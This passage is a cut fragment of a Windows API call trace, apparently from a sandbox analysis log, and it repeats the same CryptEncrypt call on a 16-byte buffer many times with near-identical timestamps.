pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.898] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.899] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.900] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.901] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.902] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, 